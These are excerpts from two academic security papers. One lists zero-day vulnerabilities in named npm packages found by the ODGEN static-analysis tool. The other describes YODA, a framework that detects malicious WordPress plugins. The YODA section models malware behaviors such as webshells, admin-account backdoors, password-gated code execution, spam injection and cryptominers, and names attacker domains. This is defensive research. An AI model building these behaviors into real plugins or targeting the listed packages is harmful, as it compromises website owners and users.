for more accurate call graph generation and then detect type-
related errors. Madsen et al. [25] propose event-based call
graph to detect problems reported on StackOverflow. Brave’s
PageGraph [53] and its predecessor AdGraph [54] model the
relations between different browser objects like scripts, DOM
and AJAX during runtime with concrete inputs. JAW [55]
models browser objects in a Hybrid Property Graph, which
contains Event Registration, Dispatch and Dependency Graph,
Inter-Procedural Call Graph, AST, PDG, and CFG. Guarnieri
et al. [9] propose to adopt heap graph to model local object re-
lations. SAFE [56] and follow-ups [17,57] convert JavaScript
to an IR form and adopt an internal structure for abstract in-
terpretation. As a comparison, the lattice structure in TAJS
and JSAI, the heap graph by Guarnieri et al., the Object Prop-
erty Graph in the aforementioned ObjLupAnsys [12], and
the data structure in SAFE change during abstract interpreta-
tion, which cannot be used offline for graph query, because
many object-related information gets lost as the interpretation.
PageGraph, AdsGraph and Hybrid Property Graph are offline
structure, but they are designed to include browser objects
rather than JavaScript objects. That is, none of these three can
be used to detect JavaScript vulnerabilities in this paper.
General Vulnerability Detection Framework. Previous
works, such as Program dependence graph (PDG) [58] and
Combined C Graph (CCG) [59], have proved that it is effec-
tive to combine program analysis with graph representation
to model data and control dependencies for operations in a
program. Based on graph representation, many program anal-
ysis problems can be converted to graph-related problems,
such as graph-reachability problem [60], graph query prob-
lem [15,16,61–63]. Specifically, Code Property Graph (CPG)

is proposed by Yamaguchi et al. [15] as a general frame work
combining CFG, DFG, and AST to detect C/C++ vulnerabil-
ities. Later on, CPG is ported to PHP by Backes et al. [16]
as an open-source tool called phpjoern [21]. As a compar-
ison, ODGEN models object dependencies, such as object
lookup/definition, which are unavailable in any of existing
graph structures.

Other than graph-based frameworks, in the past, code anal-
ysis [64–68] has been also widely used to detect various vul-
nerabilities on different platforms. The concept of objects
and relations between objects are also adopted in traditional
program analysis and defenses [69, 70], such as Object Flow
Integrity [70]. The concepts of objects in JavaScript are differ-
ent from those on C/C++ due to the existence of prototype and
runtime resolution, which makes traditional object analysis
not applicable on JavaScript.

9 Conclusion
In this paper, we propose to generate a novel graph struc-
ture, called Object Dependence Graph (ODG), via abstract
interpretation. ODG accepts graph queries to mine a vari-
ety of Node.js vulnerabilities, especially those related to ob-
jects such as prototype pollution and internal property tamper-
ing. We implement a prototype, open-source system, called
ODGEN, to construct ODG via context- and flow-sensitive
static analysis with hybrid branch sensitivity and points-to
information. Our evaluation reveals 180 zero-day vulnerabil-
ities and 70 of them have already been assigned with CVE
identifiers.
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Appendix
In this appendix, we list all the zero-day vulnerabilities found
by ODGEN in Tables 12, 13, 14, 15, 16, and 17.
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Table 12: A List of command injection zero-day vulnerabilities found by ODGEN (80 in total).
Package Name Version Status CVE # Package Name Version Status CVE #
adb-driver 0.1.8 confirmed CVE-2020-7636 pomelo-monitor 0.3.7 confirmed -
apiconnect-cli-plugins 6.0.2 confirmed CVE-2020-7633 promise-probe 0.1.8 fixed CVE-2019-10791
aws-lambda 1.0.4 fixed CVE-2019-10777 pulverizr 0.7.0 confirmed CVE-2020-7603
blamer 0.1.13 fixed CVE-2019-10807 push-dir 0.4.1 confirmed CVE-2019-10803
clamscan 1.1.0 confirmed CVE-2020-7613 pygmentize-bundled 2.3.0 confirmed -
closure-compiler-stream 0.1.15 confirmed CVE-2020-7604 rpi 0.0.3 confirmed CVE-2019-10796
codecov 3.6.1 fixed CVE-2020-7596/7597 serial-number 1.3.0 confirmed CVE-2019-10804
compass-compile 0.0.1 confirmed CVE-2020-7635 strong-nginx-controller 1.0.2 confirmed CVE-2020-7621
compile-sass 1.0.3 fixed CVE-2019-10799 truffle-compile-vyper 1.0.27 submitted -
curling 0.3.0 confirmed CVE-2019-10789 umount 1.1.6 confirmed CVE-2020-7628
devcert-sanscache 0.4.6 fixed CVE-2019-10778 vsce 1.71.0 confirmed -
diskusage-ng 0.2.4 confirmed CVE-2020-7631 connection-tester 0.2.0 confirmed CVE-2020-7781
docker-compose-remote-api 0.1.4 confirmed CVE-2020-7606 buns 1.1.6 confirmed CVE-2020-7794
effect 1.0.4 confirmed CVE-2020-7624 monorepo-build 0.1.9 confirmed CVE-2020-28423
enpeem 2.2.0 confirmed CVE-2019-10801 s3-kilatstorage 0.5.6 confirmed CVE-2020-28424
fsa 0.5.1 confirmed CVE-2020-7615 geojson2kml 0.1.1 confirmed CVE-2020-28429
fsh 0.0.2 confirmed - image-tiler 2.0.1 confirmed CVE-2020-28451
get-git-data 1.3.1 confirmed CVE-2020-7619 curljs 0.1.2 confirmed CVE-2020-28425
git-add-remote 1.0.0 confirmed CVE-2020-7630 nuance-gulp-build-common 0.0.1 confirmed CVE-2020-28430
git-diff-apply 0.19.7 fixed CVE-2019-10776 ffmpeg-sdk 0.0.5 confirmed CVE-2020-28435
git-revision-webpack-plugin 3.0.4 confirmed CVE-2020-7612 lycwed-spritesheetjs 1.2.2 confirmed -
git-tag 0.2.0 confirmed - wangzhe 1.0.0 confirmed -
giting 0.0.7 fixed CVE-2019-10802 karma-ckb-reporter 0.0.3 confirmed -
gulp-anybar 1.0.1 confirmed - surfboard 0.1.0 confirmed -
gulp-scss-lint 1.0.0 confirmed CVE-2020-7601 ensure-module-latest 1.0.9 confirmed -
gulp-styledocco 0.0.3 confirmed CVE-2020-7607 geojson2 0.1.8 confirmed -
gulp-tape 1.0.0 confirmed CVE-2020-7605 kill-process-occupying-port 0.0.1 confirmed -
heroku-addonpool 0.1.15 confirmed CVE-2020-7634 shelljs.exec 1.1.8 confirmed -
im-resize 2.3.2 fixed CVE-2019-10787 lycwed-spritesheetjs 1.2.2 confirmed -
install-package 0.4.0 confirmed CVE-2020-7629 theme-core 0.2.5 confirmed -
jscover 1.0.0 confirmed CVE-2020-7623 wc-cmd 1.0.9 confirmed -
karma-mojo 1.0.1 confirmed CVE-2020-7626 gulp-tvm-tsc 0.3.4 confirmed -
lsof 0.1.0 confirmed CVE-2019-10783 nuance-gulp-build-packers-dotnet 0.0.0 confirmed -
mysql-dumper 6.3.0 confirmed - stream-jspm 0.0.1 confirmed -
network-manager 1.0.2 confirmed CVE-2019-10786 hot-update-package 1.0.6 confirmed -
node-key-sender 1.0.11 confirmed CVE-2020-7627 pstracker 0.0.4 confirmed -
node-mpv 1.4.3 confirmed CVE-2020-7632 tile-web 3.0.0 confirmed -
node-prompt-here 1.0.1 confirmed CVE-2020-7602 tvm 0.8.14 confirmed -
npm-programmatic 0.0.12 confirmed CVE-2020-7614 nmcli-wrapper 0.7.0 confirmed -
op-browser 1.0.6 confirmed CVE-2020-7625 gulp-shellexec 0.4.4 confirmed -

Table 13: A List of prototype pollution zero-day vulnerabilities found by ODGEN (19 in total).
Package Name Version Status CVE # Package Name Version Status CVE #
asciitable.js 1.0.2 confirmed CVE-2020-7771 fun-map 3.3.1 confirmed CVE-2020-7644
bayrell-nodejs 0.8.0 submitted - grunt-util-property 0.0.2 confirmed CVE-2020-7641
blindfold 1.0.1 submitted - lodash._baseset 4.3.0 submitted -
class-transformer 0.2.3 fixed CVE-2020-7637 jquery-deparam 0.5.3 submitted -
debt 0.0.4 submitted - magico 1.1.1 submitted -
dnspod-client 0.1.3 submitted - node-file-cache 1.0.2 submitted -
draft 0.2.3 submitted - object-helpers 0.0.4 submitted -
extend2 1.0.1 submitted - parse-mockdb 0.4.0 submitted -
fetch-wrap 0.1.2 submitted - propper 1.3.0 submitted -
field 1.0.1 submitted -

Table 14: A List of Arbitrary Code Execution zero-day vulnerabilities found by ODGEN (14 in total).
Package Name Version Status CVE # Package Name Version Status CVE #
@flammae/helpers 0.0.3 submitted - lisp-json-to-js 0.4.1 submitted -
access-policy 3.1.0 comfirmed CVE-2020-7674 mosc 1.0.0 confirmed CVE-2020-7672
alt-class 0.0.3 comfirmed - node-extend 0.2.0 comfirmed CVE-2020-7673
cd-messenger 2.7.26 comfirmed CVE-2020-7675 node-import 0.9.2 confirmed CVE-2020-7678
couchdb-ddoc-test 1.0.0 comfirmed - node-rules 4.0.2 fixed CVE-2020-7609
inline-ng2-resources 1.1.0 submitted - pixl-class 1.0.2 fixed CVE-2020-7640
json-log-filter 0.1.2 submitted - thenify 3.3.0 comfirmed CVE-2020-7677
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Table 15: A List of Path Traversal zero-day vulnerabilities found by ODGEN (30 in total).
Package Name Version Status CVE # Package Name Version Status CVE #
11xiaoli 1.1.0 submitted - rollup-plugin-dev-server 0.4.3 submitted -
123qwe 1.0.0 submitted - rollup-plugin-serve-favicon 0.4.7 confirmed CVE-2020-7684
1997server 1.3.0 submitted - rollup-plugin-serve 1.0.1 confirmed CVE-2020-7683
allserverming 1.0.0 submitted - rollup-plugin-server 0.7.0 confirmed CVE-2020-7686
entryhttp 1.0.0 submitted - static-server-g 1.0.0 submitted -
fanwen 1.0.0 submitted - thy_server 1.6.0 submitted -
fast-http 0.1.3 confirmed CVE-2020-7687 uekserver 1.0.0 submitted -
jbbmyplay 1.0.1 submitted - w1703_server 1.2.0 submitted -
lddll 1.0.0 submitted - waterfallhzw 1.0.0 submitted -
lhm-ssi 1.0.1 submitted - wu456 1.0.0 submitted -
lserver 1.0.9 submitted - xuewarp 1.0.0 submitted -
marked-tree 0.8.1 confirmed CVE-2020-7682 xxx-server-yyy 1.0.1 submitted -
marscode 1.0.1-0 confirmed CVE-2020-7681 zlymain 1.0.0 submitted -
musciplayer-szj 2.0.0 submitted - zzl-server 1.0.5 submitted -
myserver123 1.0.0 submitted - xhttpserver 0.0.6 submitted -

Table 16: A List of XSS zero-day vulnerabilities found by ODGEN (13 in total).
Package Name Version Status CVE # Package Name Version Status CVE #
buildseverlzz 1.0.0 submitted - sheepy 0.1.1 submitted -
hxsstatic 1.0.8 submitted - simple_server 0.1.0 submitted -
lserver 1.0.9 submitted - simplewebserver 1.2.0 submitted -
lymph-server 1.2.0 submitted - xxx-server-yyy 1.0.1 submitted -
lyss 0.0.1 submitted - zzl-selver 1.0.3 submitted -
min-http 1.0.6 submitted - zzl-server 1.0.5 submitted -
node-servers 1.0.3 submitted -

Table 17: A List of internal property tampering zero-day vulnerabilities found by ODGEN (24 in total).
Package Name Version Status CVE # Package Name Version Status CVE #
anyargs 1.0.5 submitted - leFunc 1.2.5 submitted -
citeproc-js-node 0.0.3 submitted - lethexa-adt 0.0.13 submitted -
diso.router 6.0.3 submitted - optometrist 1.0.1 submitted -
domlib 1.0.7 submitted - resorting-key 1.0.0 submitted -
hyperdrive-ui 4.0.2 submitted - solar 0.1.6 submitted -
x-validator 0.1.0 submitted - immutable-record-class 3.8.1 submitted -
ini 2.0.0 submitted - lazy-cache 2.0.2 submitted -
acos-kelmu 0.1.1 submitted - bare 0.0.2 submitted -
charity-base-form 1.9.0 submitted - common-codegen-tests 2.2.3 submitted -
cookiemonster 1.1.0 submitted - deherd-scraper-engine 1.2.11 submitted -
ikagaka.nar.js 3.0.3 submitted - jquery-register 1.1.1 submitted -
ndx-modified 0.1.2 submitted - ng-pipe 1.4.10 submitted -
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Abstract
Modern websites owe most of their aesthetics and
functionalities to Content Management Systems (CMS)
plugins, which are bought and sold on widely popular
marketplaces. Driven by economic incentives, attackers
abuse the trust in this economy: selling malware on
legitimate marketplaces, pirating popular plugins, and
infecting plugins post-deployment. This research
studied the evolution of CMS plugins in over 400K
production webservers dating back to 2012. We
developed YODA, an automated framework to detect
malicious plugins and track down their origin. YODA
uncovered 47,337 malicious plugins on 24,931 unique
websites. Among these, $41.5K had been spent on 3,685
malicious plugins sold on legitimate plugin
marketplaces. Pirated plugins cheated developers out of
$228K in revenues. Post-deployment attacks infected
$834K worth of previously benign plugins with malware.
Lastly, YODA informs our remediation efforts, as over
94% of these malicious plugins are still active today.

1 Introduction
Many modern websites are almost entirely constructed
from plugins and themes, which place implicit trust on
large amounts of un-vetted code with limitless access to
the webserver. Our research uncovered that this trust is
often broken for monetary gains and that malicious
plugin authors are literally selling plugins packed with
malware to unsuspecting victims. Worse still, we found
that most malicious plugins sold on popular plugin
marketplaces do not employ evasion or obfuscation
techniques, preferring to brazenly hide in plain sight.
Popular content management system (CMS) plugin

marketplaces generate over a billion dollars in revenue
every year [1], but little has been done by the research
community to evaluate, assess, and ensure the safety of
the consumers (website owners). Past research studied

*Co-corresponding author.

malicious apps in the Google Play Store [2], malicious
extensions on the Chrome Web Store [3], [4], and
malicious packages in package registries [5]. Prior work
also exposed malicious behaviors on webservers, such as
the presence of vulnerabilities [6], [7], webshells [8], and
backdoors [9], but none analyzed the underlying plugins
which lead to many of these attacks. Further, the
complexities of prior research solutions have prevented
the average CMS-user from adopting them.
CMS website owners often rely on simple indicators

such as plugin popularity, ratings, and reviews on the
plugin marketplaces to determine that a plugin is safe to
install on their website [10]. The diligent CMS-user may
consult freely available [11] or commercial [12], [13] plugin
vulnerability scan databases before installing a plugin.
Unfortunately, these sources provide neither complete
nor robust measures of security. Driven by economic
incentives, attackers buy the codebase of popular free
plugins, add malicious code, and wait for plugin users to
auto-update [14]. In such cases, none of the commonly
used simple indicators can help prevent malware from
infiltrating the website.

Our research performed a global measurement of the
malicious WordPress plugins ecosystem. We worked
with CodeGuard1, to analyze the WordPress plugins in
over 400,000 unique webservers dating back to 2012. We
uncovered 47,337 malicious plugin installs on 24,931
unique websites. Even worse, 3,685 of these plugin
instances were sold on legitimate plugin marketplaces.
Tracking the webservers and plugins over 8 years gave
us a unique vantage point to study the temporal
evolution of malicious plugins from a global perspective.
We found that the number of malicious plugins on
websites has steadily increased over the years, and
malicious activity peaked in March 2020. Shockingly,
94% of the malicious plugins installed over those 8 years
are still active today.

1One of the largest corporate website security and backup
solutions on the market.
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Throughout our study, we found that solving this
problem is challenging due to the diverse range of
stakeholders in the CMS plugin ecosystem. Each has
different motivations and visibilities into this malicious
plugin problem. Website owners have full visibility over
the webserver activity, but they rely on naive indicators
when installing plugins. Hosting providers have no
visibility into the plugin installations but need to ensure
their hosting platform remains malware-free. Plugin
marketplaces have visibility over the plugins they host
but need a scalable and efficient measurement of the
malicious plugins being sold on their marketplaces.

An ideal solution must ensure ease of use and reliable
detection since plugins could be malicious anywhere in
this supply chain: from the source marketplace to a
post-deployment web attack (i.e., fake plugin injection).

To address these challenges, we developed YODA, an
automated framework to identify malicious plugins and
their origin. Towards usability, this can be integrated as
part of the webserver hosting platform or deployed by the
plugin marketplace. Website owners are often unaware
of the plugins installed or injected into their website,
so when deployed by a hosting provider, YODA starts
by detecting a webserver’s (possibly hidden) plugins.
YODA also crawls popular CMS plugin marketplaces
to identify each plugin’s provenance, ownership, and
global impact. Using YODA, website owners and hosting
providers can identify malicious plugins on the webserver;
plugin developers and marketplaces can vet their plugins
before distribution.
Our 8-year study using YODA revealed several

concerning facts: While the website owners trusted the
plugin ecosystem and spent a total of $7.3M on only the
plugins in our dataset, we found that this trust is often
broken for the attackers’ monetary gains. Attackers
impersonated benign plugin authors and spread
malware by distributing pirated plugins. YODA found
1,354 instances of pirated plugins responsible for one of
the largest known malvertising campaigns [15], many of
which are still active today. Furthermore, $41.5K was
spent on malicious plugins sold on legitimate plugin
marketplaces, and plugins that cost a total of $834K
were infected post-deployment by attackers. We hope
that YODA can regulate and reinstate the trust
between all stakeholders in the plugin ecosystem. Lastly,
we have made YODA’s source code available at:
https://cyfi.ece.gatech.edu/

2 Preliminary Study: Perilous Economy
Plugins are groups of files that work together to add
aesthetic features and functionalities to a CMS website.
Upon each visit to the website, the CMS loads all active
plugins (i.e., executes plugin code) on the webserver.
Our Dataset. Our collaboration with CodeGuard

furnished access to the nightly backups of over 400K
unique WordPress websites. These backups contain the
server-side files and their version-controlled changes
collected from July 2012 to July 2020. They give
YODA the vantage point of both an individual website
owner as well as a hosting provider (i.e., access to the
webserver files). This allows us to retroactively deploy
YODA over 8 years by executing YODA on each
nightly backup for every website. Note that CodeGuard
anonymized the website owner profiles — only a
random ID and the URL were linked to each website
backup. Furthermore, we only analyzed the webserver
files with no database access. All websites in our study
are CodeGuard’s active clients, i.e., if a client stops
using CodeGuard’s service all their data is immediately
deleted, thus we will not have access to it.
Responsible Disclosure. The individual
website-owners are anonymized by CodeGuard.
However, all of CodeGuard’s customers agree to their
Privacy Policy whereby their data may be shared with
third-parties to help CodeGuard safeguard their
websites. Since we cannot directly contact the affected
victims, we have alerted CodeGuard about our findings
and they are processing the disclosure.
Plugin Marketplaces. WordPress plugins and themes
generate millions of dollars in sales every year [1]. These
plugins2 are either created by an individual or teams
of developers, including WordPress themselves. After
detecting the plugins in our dataset (5.7M of them), we
performed a preliminary study to understand the scale
of this economy. We measured the plugin downloads and
price data in July 2020 for the plugins in our dataset.
This required scraping and cross-correlating data from
the plugin code and online marketplaces. Table 1 lists
the plugin marketplaces, the total number of plugins, and
the unique number of plugins from these marketplaces in
our dataset. As seen in Table 1, thousands of plugins are
freely available on the WordPress repositories [16], [17]
and software development platforms, such as Github [18].
In rare cases (below 0.5% in our dataset), some plugins
are available on multiple marketplaces.
Paid versions of the plugins are sold through

marketplaces, e.g., ThemeForest [20], CodeCanyon [19],
and Easy Digital Downloads (EDD) [22]. Here,
individual plugins are sold for as little as $2, while the
bestselling plugins are valued at around $63. Table 1
Columns 4-6 highlight the plugin popularity in terms of
the number of downloads. WP Plugins [16] is the most
popular marketplace overall, with 7.5M average
downloads per plugin. Some marketplaces do not sell
individual plugins and instead provide a subscription
service for all plugins at a flat rate. For example,

2Plugins and themes are together referred to as plugins.
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Markeplace
#Plugins Downloads Range Cost of Plugins Money Spent

Total Unique Min. Avg. Max. Min. Avg. Max. Dataset Global

Fr
ee

P
lu
gi
ns WP Plugins [16] 5,276,450 27,430 14 7.5M 260M - - - - -

WP Themes [17] 506,342 5,450 3 293K 7.4M - - - - -
Github [18]1 448,324 5,155 0 3 9 - - - - -

P
ai
d

P
lu
gi
ns CodeCanyon [19]2 38,060 2,428 1 1.2K 9K $2 $32 $1,104 $1.2M $82.6M

ThemeForest [20] 61,574 5,837 1 29.6K 611K $2 $84 $499 $5.1M $31.3M
WPMU DEV [21]3 5,984 110 55.4K 1.4M 10.5M $15 $63 $190 $370K $96.4M
EDD [22]4 13,123 245 - - - $6 $49 $199 $643K -

Total 5,782,783 43,621 1 939K 260M $2 $63 $1,104 $7.3M $210.3M
1: Since Github does not provide the repository download info, we used the number of stars as a measure of popularity.
2: We found a plugin, Choco Drops [23], on CodeCanyon for $10,000,003. Since this is an outlier, it has been excluded here.
3: WPMU DEV charges a $15 monthly subscription to use any plugin on this marketplace. The price range reflects the yearly cost.
4: Downloads range was not publicly available for EDD and has been excluded in this table.

Table 1: The Economy of WordPress Plugin Marketplaces.

WPMU DEV [21] has a $49/month subscription and is
the most popular paid plugin marketplace in our
dataset with 1.4M average downloads per plugin.
Less-popular plugins are also directly available from
freelance developers or small businesses [24]–[26].
Since plugin marketplaces do not provide any price

history, we used the reported download counts and the
prices from July 2020 to estimate the money spent on
these plugins. Table 1 shows that website owners from
our dataset alone spent $7.3M at plugin marketplaces,
and we estimate the revenue earned by these plugins
globally to be over $210M based on a conservative
estimate of the reported download counts. We found
several plugins sold with an extended license for more
developer support time. We considered the regular
support pricing to estimate a lower-bound for spending
in the plugin ecosystem. Our estimate is also confirmed
by themeshunter.com, one of the biggest WordPress
themes catalogue on the market [27].
Nulled Marketplaces. Since most paid plugin
marketplaces do not offer a trial option, several
marketplaces started a “try before you buy” initiative.
Unfortunately, this gave rise to pirated “trial plugin”
marketplaces, referred to as nulled marketplaces. Nulled
plugins are pirated versions of originally paid plugins,
freely distributed via nulled marketplaces (unbeknownst
to the original creator). Generally, these plugins have
been hacked or contain modified code to cause user
harm or collect sensitive user data and made to work
indefinitely without a license key [28]. Our study has
found that, more often than not, nulled plugins
introduce malicious code onto webservers (§5.3).
Insufficient Market Oversight. While these
marketplaces are growing rapidly, the regulations to
assess plugins are minimal. For example, as mentioned
in Table 1, our study found a CodeCanyon plugin for
$10,000,003 [23] with a note from the plugin author to
not buy the plugin. The fact that the plugin author was
able to set the price so high, to dissuade downloaders,

rather than legitimately removing the listing
underscores how little oversight these marketplaces
provide. We also found that attackers include malicious
behaviors in plugins then sell them on reputable plugin
marketplaces, such as the WordPress repository. A
report by Wordfence [14], a leading WordPress malware
scanner, found nine popular plugins updated at source
(i.e., the WordPress plugin store) with malicious code as
part of a coordinated spam campaign (see §7). It is
more urgent now than ever to study the impact of this
problem and address the challenges toward securing the
plugin ecosystem.

3 Design
Figure 1 shows an overview of the YODA pipeline.
YODA first conducts Plugin Detection (§3.1). Hosting
providers and website owners can deploy this to detect
plugins on their websites. But, marketplaces or plugin
developers can skip directly to YODA’s Malicious
Behavior Detection (§3.2) for a given plugin. Next,
YODA identifies the Origin of Malicious Plugins (§3.3).
Finally, it performs an Impact Study (§3.4) to
understand the scale and impact of the plugin economy.

3.1 Plugin Detection
YODA detects all of the webserver’s plugins by
identifying the plugin root and all the associated files
that belong to the plugin. Reliably detecting plugins
based on the webserver files alone can be challenging
because CMSs provide limited guidelines leading to a
lack of code consistency. CMS-users (plugin developers,
website owners, and attackers) often customize their
plugins and do not follow coding guidelines. CMSs
provide directories to maintain plugins and themes, but
users often place them in random locations on the
server, so we cannot solely rely on the directory
structure to reliably detect plugins.
To address these challenges, YODA performs (1)

metadata analysis to identify the plugin root files and
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Figure 1: YODA Design Overview.

(2) code analysis to identify all of the associated files as
part of the plugin (shown in Figure 1).

Metadata Analysis. YODA parses the comments
from all of the server-side code files and performs regular
expression matching to identify the plugin root files (i.e.,
files containing the plugin header, a specially formatted
block comment that contains metadata about the plugin).
This ensures that bad coding practices and possibly
hidden plugins injected by attackers do not go undetected.
A typical plugin header is shown in Figure 4, Appendix A.
Note that WordPress only identifies and loads plugins
with a header, and all plugins must contain a single plugin
root. If an attacker tries to evade YODA’s detection by
dropping the header, the plugin will not be loaded by the
WordPress core and remain dormant on the webserver.
For every plugin root, YODA extracts and records the
plugin metadata from the header, including the plugin
name, plugin URI, author name, author URI, and plugin
version. As we will see later (§4.1), we use this plugin
version to understand how many CMS-users maintain
their plugins updated to the latest version.

Code Analysis. With the plugin root files identified,
YODA proceeds to find all associated plugin files Pi,
i.e., Pi = {fi1 ,fi2 , ...} where fij is the jth file in plugin
Pi. To do this, YODA generates and parses the
abstract syntax tree (AST) of all of the server-side code
files in parallel and sub-directories of the plugin root.
Since several CMS-users customize their plugins either
by using configuration files or explicitly modifying the
PHP code, YODA will detect fij based on three scores,
listed in decreasing order of importance. We use
constant weights (3, 2, and 1) coupled with inverse
exponentials to rank these scores since it is a common
approach for ranking program modules [29]. While we
could have chosen any decreasing range, we found that
this combination produced distinct ranges that identify
plugin files from non-plugin files.

1. Header Score. The existence of a plugin header nj

in a file fij (computed during metadata analysis) is used
to derive the header score hj (weight = 3). Here, nj can
take values 1 (for plugin root with a single header) or 0
(for the associated files with no header). However, the
header score is included in the reliability score with the
highest weight to ensure a group of plugin-like files with

no header is not incorrectly identified as a plugin.

Header Score hj = 3∗nj

2. Reference Score. YODA uses the number of
reference calls mj linking other files as part of the
plugin to derive the reference score rj (weight = 2).
Each score is a sum of the individual contributions from
all of the linked files towards the entire plugin. This
contribution is scaled by an integer weight in the
numerator to model the importance of linked files and
an exponential in the denominator to account for a
large number of referenced files. Here, the exponent x
starts with nj to further ensure the reference score
contribution is lower than the header score.

Reference Score rj =
nj+mj−1∑

x=nj

2
2x

3. API Score. The number of occurrences of plugin-
specific API calls lj (the full list of APIs is shown in
Appendix B) is used to derive the API score aj (weight
= 1). Since APIs alone are insufficient to detect a plugin,
lj is scaled using a weight of 1 (numerator). Here, the
exponent x starts with nj +mj to ensure the API score
contribution is lower than the header and reference scores.

API Score aj =
nj+mj+lj−1∑

x=nj+mj

1
2x

The sum of all three scores for all plugin files in parallel
and sub-directories of the plugin root is divided by the
upper bound of this sum to calculate the reliability score
Ri for each plugin Pi.
∀ plugin files fij ∈ Pi,

Reliability Score Ri =

∑
fij

(hj + rj +aj)

2∗max(hj , rj ,aj) ∗100%

The reliability score is a measure of the likelihood of
a group of files being part of a plugin. If this score is
greater than 95% for a group of files, YODA detects
it as a plugin. We set the strictest possible threshold
because we found that for a true positive plugin this
score is always >98% and <55% otherwise.

An additional challenge (a special case of the above) is
child plugins. They are extensions of the original plugin
that enable the website owners to add customization, i.e.,
modify functionalities without having them disappear
after an upgrade. YODA handles child plugin detection
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Malicious Behavior Semantic Models

Webshell Super_Global [input] → Exec
Post Injection (URL ∈ Blacklist) ∧ (URL → Download → Add_P ost)
Input Gating Super_Global [password] → Conditional → Exec
SSO Backdoor Create_User → Chng_User_P erm → Register_User → Redirect_NewUser_Admin_URL
Library Function Exists Conditional → F unc_Exists → Create_F unc
Spam Injection (URL ∈ Blacklist) ∧ (URL → Download → Add_Content)
Code Obfuscation (Jumbed_Obfus ∨ Long_Line) ∨ (Decode → Exec)
Blackhat SEO Conditional → SE_Bots → (URL ∈ Blacklist) ∧ Download → Replace_Content
Downloader (URL ∈ Blacklist) ∧ (URL → Download)
Function Reconstruction (Str1,Str2, ..,StrN) → Concat → Create_F unc
Insert User Create_User → Register_User
Malvertising (URL ∈ Blacklist) ∧ (URL → Download → (Redirect ∨ Insert_P opup))
Fake Plugin Conditional → Super_Global[Str] → Decode → Exec → Delete_P ayload
Cryptominer (URL ∈ Blacklist) ∧ (URL → Download → F ile_RW → Chng_F ile_P erm → Exec)

Table 2: High-level Dataflow Sequence of the Semantic Malicious Behavior Models from Source to Sink.

by recursively searching through plugin sub-directories
to find plugin roots and storing them as separate child
plugins under their respective parent plugins.
Effective Plugin State. Since YODA can
retroactively run on temporal webserver snapshots, it
records the effective plugin state in each of these
snapshots. For each plugin, YODA uses the individual
file states of all plugin files, i.e., added (‘A’),
modified (‘M’), no change (‘NC’), or deleted (‘D’) to
derive the effective plugin state that could also take one
of the four values: A/M/NC/D. If all individual plugin file
states are added, deleted, or no change, then the
effective plugin state is ‘A’, ‘D’, or ‘NC’, respectively.
All other individual file state combinations produce an
effective plugin state ‘M’.

3.2 Malicious Behavior Detection
Preliminary Study. We started by analyzing all
plugins from 85 known-compromised website backups
taken between April 2018 and June 2020. CodeGuard
provided this subset based on signature-based AV alerts
for well-known web malware. We also referenced all
reports of malicious plugins being removed from
popular marketplaces between 2013-2018 [14], [30]–[32]
to identify and collect available malicious plugin
samples. Since most of the removed plugins were not
accessible on the marketplaces, we used the plugin
name and version to scan our dataset and collect all
additional malicious plugin samples3.
We manually investigated all the plugins from above

and identified 14 distinct malicious behaviors, listed in
Table 2 Column 1. We will describe the modeling of these
behaviors in the rest of this section. We also found that
each of these behaviors had multiple implementations
and using rule-based syntactic detection alone would
quickly leave the rules obsolete. Further, state-of-the-art
web malware detection relies on structure-aware semantic

3Available at: https://cyfi.ece.gatech.edu/.

features (e.g., code implementations of webshell features)
within a single code file [33], [34]. Existing techniques
do not consider the interactions between file groups.
This is necessary because attackers distribute malicious
behavior implementations across multiple plugin files,
thus evading existing techniques.

YODA addresses these challenges by employing both
syntactic features (e.g., file meta-data, sensitive APIs)
and context-aware semantic features of all plugin code
files (e.g., AST with resolved file dependencies). Syntactic
analysis uses data flow analysis to identify suspicious
APIs being used as sinks in plugin code files. Owing to
space constraints, this is presented in Appendix C.
Semantic Analysis. The presence of suspicious APIs
alone does not equate to malicious plugin behavior. To
ensure that the malicious behaviors are detected across
multiple plugin files, YODA performs context-aware
semantic analysis. In the dependency resolved ASTs, it
marks all the sensitive APIs identified earlier as sinks
and performs targeted inter-procedural backward slicing
on the AST from each sink to the predefined sources
using php-ast [35]. These source-sink dataflows, called
‘semantic models’ are summarized in Table 2.

Note that YODA’s models are both composable and
extensible. For some dataflows, the sinks can also act as
an intermediate node. For example, Download is a sink
for the downloader malicious behavior and an
intermediate node for the blackhat SEO, post injection,
malvertizing, and spam injection behaviors. Since
attackers extend existing techniques, this composability
allows YODA to scale with evolving malware. Further,
as new malware behaviors emerge (e.g., the recent trend
of SSO Backdoor), analysts can easily extend YODA’s
models by composing existing primitive models with
new API sinks used in the attack. Next, we describe
each of the semantic models from Table 2.
1. Webshell. The plugin takes executable code as
input via superglobal variables (“Super_Global [input]”
in Table 2) which is then passed to an Exec sink that
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executes this code on the webserver.
2. Post Injection. The plugin code contains a URL
that has been Blacklisted as malicious by VirusTotal [36]
or URLHaus [37], and it Downloads content from this
URL and inserts it as a WordPress post (Add_Post). We
found that the URLs used by attackers are not always
flagged as malicious by VirusTotal or URLHaus. We
identified randomly generated strings used as throwaway
domain names (e.g., www.fatots.top, www.gacocs.com)
to deliver malicious content to these plugins. We provide
this full list as part of the YODA source code.
3. Input Gating. Attackers protect their injected
code based on a predefined password. Here, the
‘password’ parameter in a super global variable
(Super_Global [password]) is set, it is conditionally
evaluated, and code is executed (Exec) based on the
conditional evaluation success. While this may appear
like harmless password-protected code execution, benign
plugins store client credentials in the website’s database
and do not employ only hard-coded passwords.
4. SSO Backdoor. Attackers are abusing the single
sign on feature to create a backdoor via user accounts
with admin privileges. Here, the plugin creates a user
object (e.g., Create_User via $user = array(
‘user_login’ => $uname, ‘user_pass’ => $pword)),
changes the user permissions to provide administrator
privileges, registers this user with the CMS (e.g.
Register_User via wp_user_insert), and finally
redirects all requests to this new user’s admin URL.
5. Library Function Exists. If the plugin finds a
missing library function (Conditional → Func
_Exists), it locally implements the function (Create
_Func) to redefine it. While it is common to check if a
function exists, benign plugins do not reimplement
library functions but instead include the library.
6. Spam Injection. The plugin code contains a
blacklisted URL (VirusTotal, URLHaus, or in-house
curated URL list), and it Downloads content from this
URL and injects the downloaded content to the HTML
output (Add_Content) each time the website is loaded.
7. Code Obfuscation. The plugin contains (1)
jumbled obfuscation patterns (Jumbed_Obfus), (2)
long lines of code with over 50 code instructions in the
same line (Long_Line) during syntactic analysis, or (3)
encoded strings passed to Decode and Exec sinks.
These are the 3 predominant categories of code
obfuscation seen in our study. YODA could identify
different obfuscation variants, and the detection module
